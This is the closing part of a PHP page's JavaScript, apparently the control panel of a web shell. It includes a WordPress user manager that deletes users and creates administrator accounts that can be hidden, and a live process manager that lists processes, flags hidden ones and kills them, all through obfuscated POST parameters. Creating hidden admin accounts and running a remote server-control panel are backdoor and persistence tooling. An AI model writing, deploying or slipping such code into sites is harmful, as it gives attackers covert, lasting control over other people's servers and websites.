btn.textContent = '...';
btn.disabled = true;
wpRequest({c4t: 'del', uix: wpDelTarget}, function(r) {
btn.textContent = 'Delete';
btn.disabled = false;
hideModal('wpDelete');
if (r.ok) {
wpLoadUsers();
wpShowStatus('User "' + r.user + '" deleted.', 'ok');
} else {
var msg = r.err === 'cannot_delete_self' ? 'Cannot delete yourself' : (r.err || 'Delete failed');
wpShowStatus(msg, 'err');
}
wpDelTarget = null;
});
}
function wpCreateAdmin() {
var user = document.getElementById('wpNewUser').value.trim();
var pass = document.getElementById('wpNewPass').value.trim();
var email = document.getElementById('wpNewEmail').value.trim();
var hide = document.getElementById('wpHideUser').checked;
if (!user || !pass) { wpShowStatus('Username and password required.', 'err'); return; }
var data = {c4t: 'cadm', xun: user, xpw: pass, xem: email};
if (hide) data.hide_user = '1';
wpShowStatus('Creating...', 'ok');
wpRequest(data, function(r) {
if (r.ok) {
var msg = 'Admin "' + r.u + '" created. Pass: ' + r.p;
if (r.hide) msg += ' (Hidden)';
wpShowStatus(msg, 'ok');
document.getElementById('wpNewUser').value = '';
document.getElementById('wpNewPass').value = '';
document.getElementById('wpNewEmail').value = '';
document.getElementById('wpHideUser').checked = false;
wpLoadUsers();
} else {
wpShowStatus('Error: ' + (r.err || 'unknown'), 'err');
}
});
}
function wpShowStatus(msg, type) {
var el = document.getElementById('wpCreateStatus');
el.style.display = 'block';
el.textContent = msg;
el.style.background = type === 'ok' ? 'rgba(63,185,80,0.1)' : 'rgba(248,81,73,0.1)';
el.style.border = '1px solid ' + (type === 'ok' ? '#3fb950' : '#f85149');
el.style.color = type === 'ok' ? '#3fb950' : '#f85149';
if (type === 'ok' && msg !== 'Creating...') {
setTimeout(function(){ el.style.display = 'none'; }, 8000);
}
}
// === PROCESS MANAGER ===
var procData = null;
var procTimer = null;
var procPaused = false;
var procKillTarget = null;
var procCurrentUser = '<?php echo get_current_user(); ?>';
function procRequest(data, callback) {
var xhr = new XMLHttpRequest();
xhr.open('POST', window.location.href, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function() {
try { callback(JSON.parse(xhr.responseText)); }
catch(e) { callback({err: 'Parse error'}); }
};
xhr.onerror = function() { callback({err: 'Network error'}); };
var params = [];
for (var key in data) params.push(encodeURIComponent(key) + '=' + encodeURIComponent(data[key]));
xhr.send(params.join('&'));
}
function procStart() {
procPaused = false;
var btn = document.getElementById('procPauseBtn');
if (btn) btn.textContent = 'Pause';
procLoad();
if (procTimer) clearInterval(procTimer);
procTimer = setInterval(function() {
if (!procPaused) procLoad();
}, 3000);
}
function procStopAndClose() {
if (procTimer) { clearInterval(procTimer); procTimer = null; }
hideModal('proc');
}
function procTogglePause() {
procPaused = !procPaused;
var btn = document.getElementById('procPauseBtn');
btn.textContent = procPaused ? 'Resume' : 'Pause';
var indicator = document.getElementById('procLiveIndicator');
indicator.style.background = procPaused ? '#f97316' : '#3fb950';
indicator.style.animation = procPaused ? 'none' : 'procPulse 1s infinite';
}
function procLoad() {
procRequest({proc_action: 'list'}, function(r) {
if (r.err) {
document.getElementById('procTableBody').innerHTML = '<tr><td colspan="8" style="text-align:center;padding:20px;color:#f85149;">' + r.err + '</td></tr>';
return;
}
procData = r;
// Stats
document.getElementById('procStats').textContent = r.total + ' processes | ' + r.total_hidden + ' hidden | ' + r.total_recent + ' recent';
// Alerts
var alerts = document.getElementById('procAlerts');
var alertHtml = '';
if (r.total_hidden > 0) {
alertHtml += '<span style="display:inline-flex;align-items:center;gap:4px;background:rgba(248,81,73,0.15);border:1px solid #f85149;color:#f85149;padding:3px 10px;border-radius:4px;font-size:10px;font-weight:600;">';
alertHtml += '<svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>';
alertHtml += r.total_hidden + ' HIDDEN PROCESS DETECTED</span>';
}
if (r.total_recent > 0) {
alertHtml += '<span style="display:inline-flex;align-items:center;gap:4px;background:rgba(63,185,80,0.15);border:1px solid #3fb950;color:#3fb950;padding:3px 10px;border-radius:4px;font-size:10px;font-weight:600;">';
alertHtml += '<svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><polyline points="12 6 12 12 16 14"/></svg>';
alertHtml += r.total_recent + ' recently started (<5min)</span>';
}
alerts.innerHTML = alertHtml;
procFilterRender();
});
}
function procFilterRender() {
if (!procData) return;
var search = (document.getElementById('procSearch').value || '').toLowerCase();
var filter = document.getElementById('procFilter').value;
var sort = document.getElementById('procSort').value;
// Build combined list
var list = [];
// Hidden processes
if (filter === 'all' || filter === 'hidden') {
(procData.hidden || []).forEach(function(h) {
list.push({
pid: h.pid, user: h.user, cpu: '?', mem: '?', vsz: '?', rss: '?',
tty: '?', stat: '?', start: '?', time: '?', command: h.command,
_type: 'hidden'
});
});
}
// Normal processes
var recentPids = {};
(procData.recent || []).forEach(function(r) { recentPids[r.pid] = r.age_seconds; });
var procs = procData.processes || [];
procs.forEach(function(p) {
var type = 'normal';
if (recentPids[p.pid] !== undefined) type = 'recent';
if (filter === 'hidden') return;
if (filter === 'mine' && p.user !== procCurrentUser) return;
if (filter === 'recent' && type !== 'recent') return;
p._type = type;
if (type === 'recent') p._age = recentPids[p.pid];
list.push(p);
});
// Search
if (search) {
list = list.filter(function(p) {
return (p.pid + ' ' + p.user + ' ' + p.command + ' ' + p.stat).toLowerCase().indexOf(search) >= 0;
});
}
// Sort
list.sort(function(a, b) {
if (a._type === 'hidden' && b._type !== 'hidden') return -1;
if (b._type === 'hidden' && a._type !== 'hidden') return 1;
if (sort === 'cpu') return parseFloat(b.cpu || 0) - parseFloat(a.cpu || 0);
if (sort === 'mem') return parseFloat(b.mem || 0) - parseFloat(a.mem || 0);
if (sort === 'pid') return parseInt(b.pid || 0) - parseInt(a.pid || 0);
if (sort === 'start') return 0;
return 0;
});
// Render
var html = '';
if (list.length === 0) {
html = '<tr><td colspan="8" style="text-align:center;padding:20px;color:var(--text-muted);font-size:11px;">No matching processes.</td></tr>';
}
list.forEach(function(p) {
var rowClass = 'proc-row';
var badge = '';
if (p._type === 'hidden') {
rowClass += ' proc-hidden';
badge = '<span style="background:#f85149;color:#fff;padding:1px 5px;border-radius:3px;font-size:8px;font-weight:700;margin-left:4px;">HIDDEN</span>';
} else if (p._type === 'recent') {
rowClass += ' proc-recent';
var ageStr = p._age !== undefined ? p._age + 's ago' : 'new';
badge = '<span style="background:#3fb950;color:#000;padding:1px 5px;border-radius:3px;font-size:8px;font-weight:700;margin-left:4px;">NEW ' + ageStr + '</span>';
}
var cpuClass = parseFloat(p.cpu) > 50 ? ' proc-high-cpu' : '';
var memClass = parseFloat(p.mem) > 50 ? ' proc-high-mem' : '';
var cmdShort = (p.command || '').length > 80 ? p.command.substring(0, 80) + '...' : (p.command || '');
var cmdEsc = cmdShort.replace(/</g, '<').replace(/>/g, '>');
var cmdFullEsc = (p.command || '').replace(/</g, '<').replace(/>/g, '>');
html += '<tr class="' + rowClass + '" style="border-bottom:1px solid var(--border);">';
html += '<td style="padding:5px 8px;color:#ec4899;font-family:monospace;font-weight:600;white-space:nowrap;">' + p.pid + '</td>';
html += '<td style="padding:5px 8px;color:var(--text-muted);white-space:nowrap;">' + (p.user || '?') + '</td>';
html += '<td style="padding:5px 8px;text-align:right;font-family:monospace;white-space:nowrap;" class="' + cpuClass + '">' + (p.cpu || '?') + '</td>';
html += '<td style="padding:5px 8px;text-align:right;font-family:monospace;white-space:nowrap;" class="' + memClass + '">' + (p.mem || '?') + '</td>';
html += '<td style="padding:5px 8px;color:var(--text-muted);font-family:monospace;white-space:nowrap;">' + (p.stat || '?') + '</td>';
html += '<td style="padding:5px 8px;color:var(--text-muted);white-space:nowrap;">' + (p.start || '?') + '</td>';
html += '<td style="padding:5px 8px;color:var(--text-primary);font-family:monospace;font-size:10px;" title="' + cmdFullEsc + '">' + cmdEsc + badge + '</td>';
html += '<td style="padding:5px 8px;text-align:center;white-space:nowrap;">';
if (p.pid && p.pid !== '?') {
html += '<button class="btn btn-sm btn-danger" style="padding:2px 8px;font-size:9px;" onclick="procKill(' + p.pid + ',\'' + cmdShort.replace(/'/g, "\\'").replace(/"/g, '"') + '\')">Kill</button>';
}
html += '</td>';
html += '</tr>';
});
document.getElementById('procTableBody').innerHTML = html;
}
function procKill(pid, cmd) {
procKillTarget = pid;
document.getElementById('procKillPid').textContent = '#' + pid;
document.getElementById('procKillCmd').textContent = cmd;
showModal('procKill');
}
function procDoKill(sig) {
if (!procKillTarget) return;
procRequest({proc_action: 'kill', pid: procKillTarget, signal: sig}, function(r) {
hideModal('procKill');
procKillTarget = null;
if (!procPaused) procLoad();
});
}
</script>
<?php endif; ?>
</body>
</html>